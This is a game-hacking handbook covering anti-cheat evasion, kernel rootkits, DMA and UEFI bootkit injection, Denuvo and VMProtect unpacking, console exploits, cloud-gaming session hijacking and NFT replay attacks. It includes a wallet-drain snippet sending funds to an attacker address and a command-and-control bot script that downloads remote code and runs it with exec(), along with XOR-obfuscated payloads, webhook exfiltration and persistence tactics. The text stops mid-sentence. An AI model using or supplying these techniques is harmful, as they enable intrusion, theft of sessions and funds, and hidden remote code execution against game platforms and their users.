Unlink DLLs from PEB:

PLIST_ENTRY pList = (PLIST_ENTRY)pPeb->Ldr->InMemoryOrderModuleList.Flink;
pList->Blink->Flink = pList->Flink;
pList->Flink->Blink = pList->Blink;

Obfuscate with VMProtect/Themida.
Patch rdtsc:
```
xor eax, eax
ret
```
Falsify telemetry, suspend AC threads, hijack overlays.

Kernel Warfare

Driver Signing Bypass: Exploit leaked certs (e.g., CVE-2023-36033).
Hypervisor Detection Evasion: Patch CPUID VMX flags.
Memory Cloaking: Modify CR3 to create ghost memory regions.
DMA: Use PCILeech with FT601 FPGA for invisible RAM edits.
Behavioral Spoofing: AI-generated mouse movement (GAN-based).

Advanced Techniques

Kernel Callbacks: Patch to avoid detection.
Rootkits: Persistent cloaking and hiding memory pages.
HWID Spoofing: Forged hardware identifiers to bypass bans.

Game Logic Abuse

Break game rules with clever manipulations.

Core Techniques

NOP Timers: Remove reload/cooldown delays.
Overwrite Pointers: Skip cooldown logic.
Tamper Damage Formulas: Boost damage output.
Disable Recoil/Sway: Patch physics variables.
Currency Desync: Exploit offline logic for free cash.
Teleport: Overwrite XYZ coordinates.
Fake Events: Trigger onWin() artificially.
Client Prediction Desync: Ghost enemies.
Modify RNG Seeds: Force loot rolls.
Duplicate Items: Abuse server sync bugs.

Advanced Manipulations

Physics Manipulation: Hook hkpWorld::stepDeltaTime or PhysX calls.
Coordinate Warping: Script teleport logic via ReadProcessMemory / WriteProcessMemory.
RNG Prediction: Reverse Mersenne Twister using outputs.

Engine-Specific Hacks

Target game engines with tailored exploits.

Core Techniques

Unity: Patch Assembly-CSharp.dll, hook Mono runtime.
Unreal: Inject .pak files, hook UFunction::ProcessEvent.
GameMaker: Modify .yy / .yyp and inject via YYDebug.
WebGL/WASM: Use wasm-decompile, optimize with wasm-opt.
Lua/Mono: Inject scripts, hook Assembly.Load.

Engine-Specific Exploits

Unreal Engine 5:
- Dump GObjects/GNames using pattern scan: 48 8B 05 ?? ?? ?? ?? 48 8B 0C C8
- Inject UGameplayStatics::ExecuteConsoleCommand
Unity:
- Dump IL2CPP with Il2CppDumper + Ghidra
- Hijack Mono JIT via mono_jit_compile_method
Advanced:
- Shader Replacement for wallhacks
- Physics Hooks via engine allocators

APT-Level Techniques

Employ bleeding-edge hacks at the APT level.

Core Techniques

Ring0 Driver Injection
EPT Memory Redirection (VT-x)
Patch PTE Bits to hide pages
Hypervisor Execution: Custom VM cheat layer
PCILeech DMA
UEFI/EFI Bootkits for firmware persistence
GPU-Offloaded Cheats: Use CUDA shaders
Patch Syscall Stubs
NTFS ADS: Alternate data stream payloads

Firmware and Hardware

UEFI Rootkits: Flash modded firmware via CH341A
GPU Malware: CUDA shellcode via cuMemAlloc + cuLaunchKernel
Intel ME: Use Red Unlock for code injection

Advanced Techniques

DMA via Intel 82599 NIC
SGX/SEV Enclaves for protected cheat logic
Steganography: Embed payloads in textures/assets

Automation and Fuzzing

Automate and break games with these tools.

Core Techniques

Automate with pyMeow / pymem: Script memory edits in Python.
Fuzz .sav, .pak, .json, .lua: Use AFL++ / Honggfuzz to crash parsers.
Simulate Movement: Send fake input via SendInput or Python libraries.
Trace with Frida: Log function calls with custom callbacks.
Automate UIs with Selenium: Script web-based interfaces.
UDP Packet Fuzzers: Send custom payloads to game servers.
Hook Scripting Engines: Monitor Lua / Python calls.
Auto-Aim with YOLOv5 + OpenCV: Real-time targeting.

AI-Powered Bots

YOLOv7 + DeepSORT: Real-time aimbot tracking.

model = torch.hub.load('ultralytics/yolov5', 'yolov7')
results = model(frame)
targets = results.pandas().xyxy[0]  # Extract enemy bounding boxes

Reinforcement Learning: Train agents with Unity ML-Agents or OpenAI Gym.

Advanced Fuzzing

Coverage-Guided Fuzzers: AFL++ with QEMU mode for binary-only games.
Custom Mutators: Build fuzzers for Protobuf or proprietary structures.

DRM and Obfuscation Bypass

Crack protections with these advanced techniques.

Core Techniques

Bypass Denuvo: Dump memory mid-run with x64dbg.
Locate OEP: Trace back to original entry point.
Rebuild PEs: Use Scylla / PE-bear to fix dumped binaries.
Patch Decryption Loops: Remove XOR routines from loaders.
Disable CRC Checks: Patch integrity verification.
Locate License Checks: Cross-reference key strings in IDA.
Inject at Handoff: Hook stub-decryption transitions.
Devirtualize: Unpack VMProtect / Themida.
Hook NtOpenFile: Intercept license queries via Frida.

Denuvo Cracking

Memory Dumping: Use ScyllaHide to evade debugger checks and dump decrypted .text sections.
Emulation: Reconstruct VM handlers using Qiling Framework.

Advanced Techniques

VMProtect 3.x Unpacking: Decode x86 opcodes with Triton.
ASLR Bypasses: Patch static memory for reliable exploitation.

Shellcode Engineering

Craft stealthy payloads with these methods.

Core Techniques

ESP Overlays: Execute via render function hooks.
Polymorphic XOR: Compress/obfuscate shellcode payloads.
Overflow Triggers: Inject via savegame or file parsers.
Config-File Loading: Store payloads externally.
OCR-Based ESP: Use screen capture + OpenCV, no injection.
Heap Spray: Execute through Lua / JS scripting engines.
Alphanumeric Payloads: For character-restricted exploits.
TLS Callbacks: Run before main() in PE headers.
Custom Syscalls: Avoid usermode detection.

Advanced Engineering

SELF: Staged ELF Loader with LZMA compression and mprotect stub.

Thread Hijacking:

NtSuspendThread(hThread);
WriteProcessMemory(...); // overwrite RIP

ROP Bootstrapping: Launch shellcode via gadgets.

DRM Loader Staging

Modern DRM systems deploy multi-stage loaders, packing and obfuscating payloads using VM-based encryption, anti-debugging logic, and staged virtual machine handlers. Breaking through these layers is essential for:

Restoring clean .text sections
Analyzing game logic behind anti-tamper wrappers
Reconstructing protected functions for cheat injection
Defeating signature checks and telemetry sinks

Key Concepts

Concept	Description
Loader staging	Multiple layers of unpacking: stub → loader → VM
Virtualization	Code translated into custom bytecode and interpreted
Mutation engines	Obfuscate instructions and flow via polymorphism
Anti-dump	Prevent dumping memory with CRCs, active page clearing
Loader chain detection	Uncover multi-executable chains embedded in final binary

Reverse Engineering Process (Staged DRMs)

1. Detect the Staging Behavior

High entropy in .text, .vmp0, or .code → indicates encryption
Stub code at OEP (original entry point) → jmp short _loadnext
Long sleep / timing checks → anti-debug

Use:

binwalk --entropy binary.exe

Tools: PEiD / Detect It Easy

2. Locate the Real Entry Point

Staged loaders often call:

CALL DecryptAndExecute
JMP EAX

Trace VirtualAlloc → memcpy → CreateThread or jmp rax

Watch for:

NtProtectVirtualMemory with RWX permissions
memcpy into a shell region
Encrypted VM blob → then mapped and run

3. Trace Loader Flow with x64dbg

Place breakpoints:

bp kernel32!VirtualAlloc
bp kernel32!CreateThread

Then dump memory once second-stage loader appears.

4. VMProtect Loader Internals

Stage	Purpose
Stage 0	PE stub (launches decryptor)
Stage 1	Loader stub (decrypts VM blob)
Stage 2	Encrypted VM bytecode in .vmp0
Stage 3	Custom VM interprets protected funcs

Signs of VMProtect:

.vmp0, .vmp1, .vmp2 sections
MOV EAX, VM_OPCODE_TABLE
High-entropy embedded dispatch loop

Tools: VMPDump, x64dbg + Scylla + VMProtectTrace

5. VM Handler Identification

Dispatch logic:

movzx eax, byte ptr [ecx]    ; opcode fetch
call [OpcodeHandler + eax*4] ; handler dispatch

Use Unicorn engine:

mu.mem_write(vm_addr, vm_code)
mu.emu_start(vm_addr, vm_addr + len(vm_code))

Nested Loader Unpacking

Multiple compressed regions (LZ4, LZO, LZSS)
XOR-encrypted memory blocks
Anti-VM or anti-dump logic

Use: Scylla, PE-sieve, Cheat Engine

Anti-Debug/Anti-Dump Bypasses

Defense Mechanism	Bypass Technique
Hardware breakpoint check	Patch IsDebuggerPresent, NtQueryInfoProcess
CRC32 page check	Patch CRC logic with RET or NOPs
Page clearing on dump	Dump post-RWX and force page copy
VEH-based obfuscation	Remove AddVectoredHandler entries

Tools: ScyllaHide, TitanHide, PE-sieve

Manual Dump and Rebuild

import frida

def on_message(msg, data):
    if msg["type"] == "send":
        print("[*]", msg["payload"])

session = frida.attach("target.exe")

script = session.create_script("""
Interceptor.attach(Module.getExportByName(null, "VirtualAlloc"), {
  onLeave: function (retval) {
    send("Alloc at: " + retval);
  }
});
""")
script.on('message', on_message)
script.load()

Denuvo Specific Staging

.text0 → Loader stub
.text1 → Encrypted ELF or PE blob
.bind, .elfhash, .denuvo sections

Reverse:

Hook NtQueryVirtualMemory, NtReadVirtualMemory
Look for RDTSC anti-debug timings
Use Cheat Engine Snapshot Compare

Common Loader Signatures

Loader Stage	Signature / API	Description
Stub loader	jmp [rax], entropy	Entry obfuscator
Memory decryptor	RtlDecompressBuffer, VirtualProtect	Payload unpacker
VM dispatcher	mov al, [ecx], call [eax*4]	Custom VM handler switch
Anti-debug	RDTSC, CPUID, int 3	Timing + breakpoint checks

DRM Loader Fuzzing / Mutation

Use LIEF to:

Modify PE headers, section alignments
Patch entry point or stub region

Combine with AFL++ to fuzz staged binaries.

DRM Tooling Ecosystem

Tool	Purpose
x64dbg + Scylla	Manual unpack, IAT fix
PE-sieve	Detect memory-mapped unpacked modules
VMProtectDump	Dump runtime-decrypted VM code
TitanHide	Hide debugger from anti-debug checks
IDA Pro + HexRays	Advanced disasm and pseudocode
LIEF	Programmatic PE patching

AI/ML Augmentations

Leverage AI for next-gen cheat capabilities.

Core Techniques

YOLOv5 / Faster-RCNN: Train pixel-perfect aimbots.
OpenCV Color Analysis: Track HP bars, enemies, alerts.
RL Bots: Intelligent evasion via OpenAI Gym.
LSTM: Predict patrol paths or enemy movements.
Neural ESP: Use segmentation models for wallhacks.
Anti-Cheat Popup Detection: OCR + reaction system.
Decision Trees: Prioritize high-value loot.
Movement Analysis: Detect bot players.

Generative Cheats

StyleGAN3: Generate neural textures for ESP.
LSTM: Predict movements from input logs.

Advanced Techniques

GAN Fine-Tuning: Spoof UI or texture assets.
Edge AI: Deploy to microcontrollers for field-ready inference.

Hardware Hacks

Exploit physical devices for undetectable cheats.

Core Techniques

Arduino HID Spoofers: Simulate human-like input.
PCILeech DMA: Inject RAM via hardware.
USB-to-UART: Access devkit consoles.
Logic Analyzers: Monitor AC behavior.
Raspberry Pi Deauth: Disrupt online sync via WiFi attacks.
Teensy Input Simulators: Randomized macros.
HDMI Capture Aimbots: External targeting.
QMK Keyboard Logic: Reflash firmware with custom logic.
BIOS Patching: UEFI driver loading pre-boot.

Firmware Analysis

This section focuses on hacking, reverse engineering, and modifying console and PC firmware — the bedrock of trust for most anti-cheat and platform security systems.

From BIOS/UEFI to hypervisors and bootloaders, firmware manipulation allows for:

Undetectable cheats via early boot injection
Bypassing secure boot, signature validation, and TPM/TrustZone
Full control over memory, virtualization, and root-level telemetry

UEFI Dump - Patch - and Injection

Modern PCs boot via UEFI (Unified Extensible Firmware Interface), replacing legacy BIOS. UEFI is programmable and includes DXE modules that enforce secure boot and TPM communication.

Tools

Purpose	Tool
Firmware extraction	UEFITool, Chipsec, Flashrom
Modding UEFI vars	RU.EFI, AMIBCP, H2OUVE
Secure boot bypass	UEFI Shell, EDK2 hacking
Flash dumping	CH341A SPI Programmer

Dump UEFI from Flash

flashrom -p ch341a_spi -r dump.bin

Or from inside Linux:

sudo chipsec_util spi dump BIOS.bin

Explore DXE Modules

UEFIExtract dump.bin
UEFIDump dump.bin

Look for: SecureBoot, SetupUtility, TPM, SmmAccess2, AmiBoardInfo, RuntimeServices, SmmRuntime

Patch Boot Flow

Add unsigned DXE modules
Hook BootServices->StartImage
Inject payload that writes to RAM after ExitBootServices()

Inject DXE Module Payload

Modify UEFI .ffs file
Insert using UEFITool
Flash patched ROM

Payload triggers at early boot phase (pre-OS)

Console Boot ROM Reversing (Nintendo Switch, PS5, Xbox)

Nintendo Switch

Boot ROM: Boot0, Boot1, pkg1, pkg2
Vulnerabilities: Fusée Gelée, Warmboot Handoff

Tools: hekate, Lockpick_RCM, Atmosphere, TegraExplorer, HacTool

PS5

Boot chain: BootROM, Second Loader, Secure Kernel
Protections: TrustZone, LV0/LV1 encryption, OTP

Tools: ps5-kstuff, IDA, Ghidra, Unicorn, UART taps

Xbox Series (Scarlett)

Hyper-V root partition
Secure Boot + Dev Mode

Tools: QEMU, HVMSR intercepts

LV0 / LV1 Hypervisor Reversing (Sony Consoles)

LV0: Boot loader binary
LV1: Hypervisor kernel
LV2: GameOS

Target: Patch syscall registration

Tools: Mamba, ps3xploit, Hypervisor Call Trace

Firmware Attack Matrix

Layer	Target	Attack Vector
UEFI	DXE modules	Patch boot services
Nintendo	pkg1, loader.kip1	ROP injection
PS5	BootROM	EL3 key handler
Xbox	hvlaunch.xex	Hypercall patching
PS3	LV0 / LV1	Homebrew syscall patching

Research-Level Firmware Tooling

Tool	Use Case
UEFITool	Extract/patch DXE modules
Chipsec	Analyze SPI/SMM
Flashrom	Dump ROM via SPI
IDA, Ghidra	Boot ROM reverse engineering
Unicorn	ARM64 emulation
Qiling	Firmware sandboxing

Defeating Firmware Protections

Protection	Bypass Strategy
Secure Boot	Patch SetupUtility
OTP Key Fuse	Emulated OTP
TrustZone	EL3 handler patch
Dev Mode	UEFI var patch

Firmware-Based Cheat Staging

Memory patchers before anti-cheat
CR3 spoofers
Kernel-mode syscall filters

Console Exploits

PlayStation 5: WebKit ROP exploit (e.g., CVE-2021-30858).
Nintendo Switch: Coldboot exploit Fusée Gelée via USB-C.

Advanced Hardware Techniques

Raspberry Pi Pico: Emulate Xbox controller with GPIO triggers.
FPGA Packet Injection: Xilinx Artix-7 for spoofing.
JTAG: Soldered access to CPU internals.

External Console Botting over Remote Play

Use streaming tools like PS Remote Play, Xbox App, or Chiaki to automate console gameplay from a PC:

Capture gameplay with OpenCV or YOLOv7
Detect resources, enemies, UI elements
Inject input via HID emulators (Arduino Leonardo, Teensy)
Automate loops: mining, fishing, looting
Emulate human-like behavior via randomization and delays

This setup works fully externally, ideal for undetectable console farming bots.

Architecture Diagram

   ┌───────────────┐       ┌────────────────────┐      ┌───────────────┐
   │ PlayStation 5 │──────▶│ PS Remote Play App │─────▶│ Screen Capt.  │
   └───────────────┘       └────────────────────┘      │ + CV Detector │
                                                       └────┬──────────┘
                                                            │
                                                     ┌──────▼───────┐
                                                     │ HID Emulator │  (Arduino/Teensy)
                                                     └──────────────┘

How to Build It (PC/Phone → Console Bot)

1. Remote Stream Platform

Use:

PlayStation Remote Play (PS4/PS5)
Xbox Console Companion / Remote Play
Moonlight + Sunshine (NVIDIA Gamestream-based)
Chiaki (open-source, reverse-engineered PS Remote Play)

Best Option for Automation: Chiaki + OBS + Teensy

2. Screen Capture and Detection

Use OpenCV or YOLOv5/YOLOv7 to identify:

Health bars
Enemies
Resource nodes
Map location

Example: Mining Bot Detection

import cv2
import numpy as np

node_template = cv2.imread("ore_node.png", 0)
frame = cv2.imread("screen.png", 0)
res = cv2.matchTemplate(frame, node_template, cv2.TM_CCOEFF_NORMED)
loc = np.where(res >= 0.92)

for pt in zip(*loc[::-1]):
    print("Node at:", pt)
    move_cursor_to(pt)
    send_button_press("X")

3. Input via Arduino or Teensy

Use Arduino Leonardo, Teensy 4.0, or Raspberry Pi Pico (RP2040):

Emulate Xbox or PS5 controller
Send joystick moves, button presses
Fake human input with jitter/randomization

Example: Arduino Joystick Movement Script

#include <Joystick.h>
Joystick_ Joystick;

void setup() {
  Joystick.begin();
}

void loop() {
  Joystick.setYAxis(100); // Move forward
  delay(500);
  Joystick.setYAxis(0);   // Stop
  delay(1000);
}

4. Touch Automation on Phone (optional)

If using PS Remote Play on Android:

Use AutoInput + Tasker
Use ADB + scrcpy + Python

Example: Tap Resource with ADB

adb shell input tap 540 1320

Bot Use Case: ESO Mining/Farming Loop (Console)

Record a resource route (streaming to PC)
Detect resource spawn points with template matching or YOLO
Move character with joystick HID script
Pause until node appears
Interact when node is detected (X button press via Teensy)
Repeat loop with randomized sleep and camera wiggle

This works 100% externally. No modding, no memory hooks.

Example ConsoleBot_RemotePlay.py

# Automates node detection + input for Remote Play ESO bot

from PIL import ImageGrab
import cv2, numpy as np
import serial, time

ser = serial.Serial('COM3', 9600)  # Teensy/Arduino COM port

def find_node(template):
    frame = np.array(ImageGrab.grab())
    gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)
    tmpl = cv2.imread(template, 0)
    result = cv2.matchTemplate(gray, tmpl, cv2.TM_CCOEFF_NORMED)
    loc = np.where(result >= 0.95)
    return list(zip(*loc[::-1]))

def send_input():
    ser.write(b'X\n')  # Arduino interprets and presses X button
    time.sleep(1)

while True:
    hits = find_node("ore_template.png")
    if hits:
        print("[+] Resource found:", hits[0])
        send_input()
    time.sleep(2)

Cloud Gaming Exploits

Cloud gaming platforms (e.g., GeForce NOW, Xbox Cloud, Amazon Luna, Stadia) shift game execution to the cloud, introducing network-based attack surfaces previously unavailable in traditional game hacking. In this section, we focus on exploiting latency, session logic, and cloud APIs for unauthorized access and disruption.

Threat Modeling: Cloud Gaming

Target Area	Attack Vector	Goals
Network ↔ Stream	Latency injection, packet reordering	Desync, timing abuse
Session Token / Auth	Hijack or reuse active session	Take over session or identity
API Gateway / Infra	Reverse-engineer APIs	Abuse resources, extract games
UI Overlays	JavaScript / WebRTC manipulation	XSS, UI injection, fake input

Latency Manipulation Attacks for All Levels

Cloud gaming relies on low-latency video streaming and responsive inputs. Injecting controlled network jitter, delay, or packet reordering can desynchronize gameplay or force input failures.

Tools Needed

tc (Linux traffic control)
netem (network emulator)
clumsy (Windows packet drop/lag tool)
Wireshark or tcpdump for packet inspection
VPNs with adjustable RTT (e.g., Mullvad + Socks5 proxy)

Example 1: Induced Lag to Exploit Hit Registration

Linux (NetEm + tc):

sudo tc qdisc add dev eth0 root netem delay 300ms 50ms distribution normal

Windows (Clumsy):

clumsy.exe --lag 250 --drop 3%

Use Cases

Target Game	Exploit Effect
Fortnite (xCloud)	Desync builds and shots
Apex (GeForce)	Lag-switch to eat bullets
ESO / MMOs	Skip animation cancels / avoid interrupts

Adaptive Lagbots (Advanced)

Scripted lag control based on game state:

# lagbot.py
import os, time

while True:
    os.system("tc qdisc change dev eth0 root netem delay 300ms 100ms")
    time.sleep(3)
    os.system("tc qdisc change dev eth0 root netem delay 0ms")
    time.sleep(2)

Session Hijacking Techniques

Cloud gaming platforms maintain browser-based or WebSocket-based session tokens for game stream authentication.

Attack Surface

Method	Attack	Notes
Cookie/session steal	Replay token	Use mitmproxy or JS hook
WebSocket hijack	Inject into live control	Requires token & WS URL
API endpoint abuse	Replay startSession() call	Seen in Stadia / Luna

Example: WebSocket Hijack in Browser

Extract WebSocket Token:

wss://cloudplay.geforce.com/session?id=abcd1234&token=XYZ

Craft Python Client:

import websocket
ws = websocket.create_connection("wss://cloudplay.geforce.com/session?id=abcd1234&token=XYZ")
ws.send('{"action":"move","direction":"left"}')

Unauthorized Access to Game Sessions

Replay startSession API Call:

POST /api/v1/startSession
Authorization: Bearer <token>

Target Examples

Stadia DevKit leaks via launchTitle()
GeForce NOW API token replay
Moonlight/Sunshine weak token auth

Cloud API Reverse Engineering

Tools

mitmproxy
Burp Suite
chrome://net-export
DevTools → Network tab

Frida TLS Unpinning (Android Cloud Client)

Java.perform(function() {
  var SSLContext = Java.use("javax.net.ssl.SSLContext");
  SSLContext.init.overload("[Ljavax.net.ssl.KeyManager;", "[Ljavax.net.ssl.TrustManager;", "java.security.SecureRandom").implementation = function(k, t, r) {
    console.log("[*] Bypassing SSL Pinning");
    this.init.call(this, k, [MyTrustManager.$new()], r);
  };
});

Interesting Endpoints to Target

Platform	Endpoint	Potential Abuse
Stadia	/startSession, /loadTitle	Replay past sessions
GeForce NOW	/streams, /auth/v2	Spoof device or obtain stream
Xbox Cloud	/xgpu/allocateSession	DoS resource exhaustion

Bypassing Detection and Limits

Technique	Description	Mitigation
VPN rotation	Evade geo locks, rate limits	SOCKS5 + IPv6
Modify browser headers	Impersonate session/client	Override User-Agent, device ID
Replay old sessions	Use expired but cached tokens	Exploit poor session invalidation
Scripted idle mouse	Prevent timeout	JS or browser automation

CTF / Red Team Use Cases

Spoof GeForce NOW session to capture streamed flags
Denial of Service on PvP cloud opponents via lag
Enumerate enterprise cloud gaming APIs
Phish or hijack stream tokens and inject overlays

VR/AR Game Hacking

Virtual and Augmented Reality (VR/AR) introduce new attack vectors—spatial spoofing, sensor manipulation, and gesture abuse—distinct from traditional game hacking.

Target Platforms

SDK / Platform	Description	Attack Surface
OpenVR / SteamVR	Valve’s open VR runtime	Pose injection, device spoofing
Oculus SDK	Meta’s VR ecosystem	Gesture hacks, pose spoofing
Unity XR	Unity’s VR abstraction	Memory manipulation
ARKit / ARCore	iOS/Android AR frameworks	Sensor spoofing

Spatial Spoofing Techniques

Manipulate 6DoF (degrees of freedom) tracking to teleport, walk through walls, or gain speed boosts.

Unity (IL2CPP) Position Injection

// PlayerTransform.cs (decompiled)
void Update() {
  transform.position = new Vector3(x, y, z); // Injected coords
}

Inject with Frida:

var transform = Mono.use("UnityEngine.Transform");
transform.position.value = {x:999, y:5, z:-20};

OpenVR Pose Spoof (Linux/Win)

vr::TrackedDevicePose_t spoofedPose;
spoofedPose.mDeviceToAbsoluteTracking = ...; // Injected matrix
VRCompositor()->SubmitPose(...);

Gesture / Input Spoofing

Modify gesture recognition logic for:

Auto-swing in Beat Saber
Infinite grab reach in Half-Life: Alyx
Aimbot-style teleporting in Onward VR

Frida - Modify Controller Position

Interceptor.attach(Module.findExportByName("OculusVR.dll", "GetControllerPose"), {
  onLeave(retval) {
    retval.x = 999;
    retval.y = 999;
    retval.z = 999;
  }
});

Sensor Spoofing in AR (ARKit/ARCore)

Send fake GPS, compass, or accelerometer data to mobile AR games like Pokémon GO.

Android (Frida + SensorManager):

Java.perform(function() {
  var Sensor = Java.use("android.hardware.SensorManager");
  Sensor.getOrientation.implementation = function(...) {
    return [999, 999, 999];
  };
});

Red Team / CTF Use Cases

Tactic	Result
Spoof OpenVR pose	Appear in unreachable game area
Gesture override	Instant win input
AR location spoof	Gain location-limited loot/events
Hook Unity XRManager	Force map load / room bypass

Blockchain and NFT Game Exploits

Blockchain-integrated games introduce new attack surfaces—smart contracts, token logic, and crypto wallets.

Target Surfaces

Layer	Attack Type
Smart Contracts	Logic flaws, state overwrite
Off-chain Logic	Desync between client/server
Wallet Integration	Spoof signatures or misroute funds
Game Economy	Price oracle abuse, arbitrage

Smart Contract Exploits

Example: Unprotected Mint Call in Solidity

function mintWeapon() public {
  weaponBalance[msg.sender] += 1;
}

Exploit via Web3.py:

from web3 import Web3
w3 = Web3(Web3.HTTPProvider('http://127.0.0.1:8545'))
contract = w3.eth.contract(address='0x...', abi=abi)
contract.functions.mintWeapon().transact({'from': attacker})

NFT Duplication

Replay Attack Exploit:

POST /api/v1/claimDrop
Authorization: Bearer XYZ

for token in $(cat tokens.txt); do
  curl -X POST https://game/api/v1/claimDrop -H "Authorization: Bearer $token"
done

In-Game Currency Inflation

Price Oracle Exploit

Launch flash loan
Manipulate ETH/USD temporarily
Buy items at incorrect valuation

Wallet Integration Abuse

ethereum.request({
  method: 'eth_sendTransaction',
  params: [{
    to: '0xattacker',
    value: '0xFFFFFFFFFFFFFFF',
    gas: 21000
  }]
});

Red Team / CTF Use Cases

Exploit	Effect
Duplicate NFT	Unlimited rare item cloning
Unauthorized mint	Create ultra-powerful weapons
Currency abuse	Inflate gold/tokens
API replay	Loot claim replays

Detection + Prevention (Defensive Devs)

Vector	Mitigation
Smart Contract	Use onlyOwner / require() checks
NFT APIs	Use nonce or anti-replay tokens
Unity Wallets	Validate signature + timestamp
Oracles	Use median + TWAP, not single source

Zero-Knowledge Game Proofs (zk-Gaming)

Zero-Knowledge Proofs (ZKPs) — especially zk-SNARKs and zk-STARKs — are now used in Web3 games to verify game logic, moves, and state transitions without revealing the underlying data. This section breaks down how they work, how to identify them in use, and how attackers may abuse or bypass them.

What Are zk-SNARKs / zk-STARKs?

Concept	Description
zk-SNARK	Zero-Knowledge Succinct Non-Interactive Argument of Knowledge
zk-STARK	Scalable Transparent Argument of Knowledge (STARK = no trusted setup)
Purpose	Allows a party to prove knowledge of a state or computation without revealing it
Use in games	Verifying game actions, scores, or resources off-chain then committing proof on-chain

Use Cases in Web3 Gaming

Use Case	zk Purpose	Example
PvP move verification	Ensure actions are valid without revealing tactics	Private turn in a card battle game
Anti-cheat verification	Ensure a player followed physics/move rules	zk-proof of path validity in racing
RNG proofs	Ensure fair randomization	zk-RNG proof of loot roll
Score submission	Prevent falsified high scores	zk-proof of valid gameplay + result
Asset creation	Guarantee valid NFT minting	zk-proof of crafting or merging

How to Detect Zero-Knowledge Proofs in Games

On-chain Signs

Smart contracts referencing verifier contracts (often generated via ZoKrates, Circom, or Cairo)

Solidity functions like:

function verifyProof(...) public view returns (bool)

Contracts using libraries like:

Verifier.sol (ZoKrates)
Plonk.sol, Groth16.sol
STARKVerifier.sol (Starkware)

Run:

myth analyze contract.sol
slither verifyProof --detect-constant-function

Frontend / Client Clues

Web3 game clients (JavaScript/TypeScript) loading .zkey, .wasm, or .proof.json files.

Use of:

import { groth16 } from "snarkjs"
groth16.fullProve(input, wasmPath, zkeyPath)

Proof payload sent via HTTP to /submitScore or /submitProof

Example: zk-SNARK in Score Submission

Game Flow (Simplified):

Player finishes game
Client generates zk-proof locally
Sends proof to smart contract
Contract verifies proof before recording score

Verifier Snippet (Solidity):

function submitScore(bytes memory proof, uint[] memory publicSignals) public {
    require(verifier.verifyProof(proof, publicSignals), "Invalid proof");
    scores[msg.sender] = publicSignals[0];
}

Internals: zk-SNARK Components

Component	Role
Circuit	Describes logic to be proven (e.g., game score validity)
Prover	Generates proof from private + public inputs
Verifier	Checks the proof’s validity using public input
Trusted Setup	Generates cryptographic keys for prover/verifier

How to Attack or Bypass

1. Client-Side Proof Forging

If proofs are generated client-side, reverse-engineer WASM or zkey logic.

// Normally
await groth16.fullProve(validInput, "circuit.wasm", "key.zkey")
// Maliciously
await groth16.fullProve(modifiedInput, "tampered_circuit.wasm", "forged_key.zkey")

2. Weak Circuit Logic

Example:

signal input score;
signal input cheatCode;
signal output isValid;

isValid <== cheatCode * 0 + score == expectedScore;  // 💥 flawed logic

3. Replay Proof Attack

Reused public inputs (e.g., static RNG seed) → replayable proof.
Fix: Include session ID, player address, or nonce in public signals.

4. Verifier Contract Injection

Look for unsafe delegatecall, dynamic verifier contracts.

Run:

mythril --solc-args --ast-compact-json target.sol

Advanced Vector: zk-STARK vs zk-SNARK

Feature	zk-SNARK	zk-STARK
Trusted Setup	✅ Required	❌ No trusted setup
Proof Size	Small (100s B)	Large (~100 KB)
Verification	Fast	Slower
Tooling	ZoKrates, Circom	Cairo, Starknet
Use in Games	Card games, RNG, scores	High-complexity logic (PvP, path)

Tools You Can Use

Tool	Use Case
ZoKrates	zk-SNARK circuit definition and proof generation
Circom	Write custom proof circuits (used by TornadoCash)
snarkjs	Generate proofs in JS for web-based zk clients
Cairo	zk-STARK language (used in Starknet)
Noir	Aztec’s Rust-based zk circuit DSL
zkrepl.dev	Live REPL for zk circuits

Mitigation / Hardening (for defenders)

Threat	Mitigation
Proof tampering	Verify full public input hash on-chain
Replay proof	Add per-session randomness or block height
Weak constraints	Audits + formal circuit verification tools
Contract substitution	Avoid delegatecall, verify codehash

Summary

zk-SNARKs & zk-STARKs are used to verify private player actions or game logic without revealing secrets
Attack surface lies in client-side proof generation, weak constraints, replayability, and contract architecture
Understanding zk circuits is essential for next-gen exploit and audit work in Web3 games

Remote Control / Command-and-Control Bots (C2 Bots)

Simulating advanced adversary tradecraft in bot management and control using command-and-control (C2) infrastructure. While these techniques resemble malware TTPs, they are crucial for Red Team operations and security research.

Threat Modeling and Use Case

Use Case	Implementation	Red Team Equivalent
Modify farming route	Fetch new waypoints from C2 server	Stager / pull-based beacon
Change logic remotely	Load new scripts/DLLs over HTTP	Cobalt Strike artifact exec
Trigger bot actions	Polling or webhook trigger	HTTP reverse beacon
Persist config after reboot	Store in `%APPDATA%`, ADS, Task Scheduler	RAT-style persistence
Send loot logs/telemetry	Discord/TG webhook or POST exfil	Covert exfiltration

Remote-Controlled Game Bot Skeleton

# C2Bot.py
# Pulls config from remote C2, loads logic, and executes

import requests
import time
import ctypes

CONFIG_URL = "https://yourdomain.com/config.json"

def fetch_config():
    try:
        res = requests.get(CONFIG_URL, timeout=5)
        if res.status_code == 200:
            return res.json()
    except Exception as e:
        print("[-] Failed to fetch config:", e)
    return {}

def load_and_exec(payload_url):
    try:
        script = requests.get(payload_url, timeout=5).text
        exec(script, globals())
    except Exception as e:
        print("[-] Failed to load payload:", e)

if __name__ == "__main__":
    while True:
        cfg = fetch_config()
        if "payload" in cfg:
            print("[+] Loading payload from:", cfg["payload"])
            load_and_exec(cfg["payload"])
        time.sleep(cfg.get("interval", 60))

Config Example (`config.json`)

{
  "payload": "https://yourdomain.com/logic/minerbot.py",
  "interval": 60,
  "trigger": "enabled"
}

payload: remote script or logic
interval: polling frequency
trigger: activation flag

Advanced Features to Add

Hot-Swap Logic:

import importlib
# or use exec() for dynamic logic reload

XOR-Encoded Payloads:

def decode_payload(x):
    return ''.join(chr(ord(c) ^ 0x55) for c in x)

script = decode_payload(requests.get(url).text)
exec(script)

C2 Over Webhooks:

import requests

def report(event):
    requests.post("https://discord.com/api/webhooks/...", json={
        "username": "BotStatus",
        "content": f"[+] {event}"
    })

report("Bot started.")

Anti-Detection / Stealth

Technique	Purpose	Sample Code
String obfuscation	Avoid static scans	`''.join([chr(x) for x in [...]])`
Runtime decryption	Delay detection	XOR/RC4 encoded payload
Sleep jittering	Behavioral stealth	`time.sleep(random.randint(...))`
GitHub raw URL hosting	Public payload delivery	`raw.githubusercontent.com/...`

Persistence Tactics

Platform	Method	Description
Windows	Registry Run key	Auto-start on boot
Windows	Task Scheduler	Survives reboot
Linux	`.bashrc`, `systemd`	Re-exec on login
All	`%APPDATA%`, `.cache`	Hidden dir deployment

Defensive Use (Red Team / Research Mode)

Use these bots to:

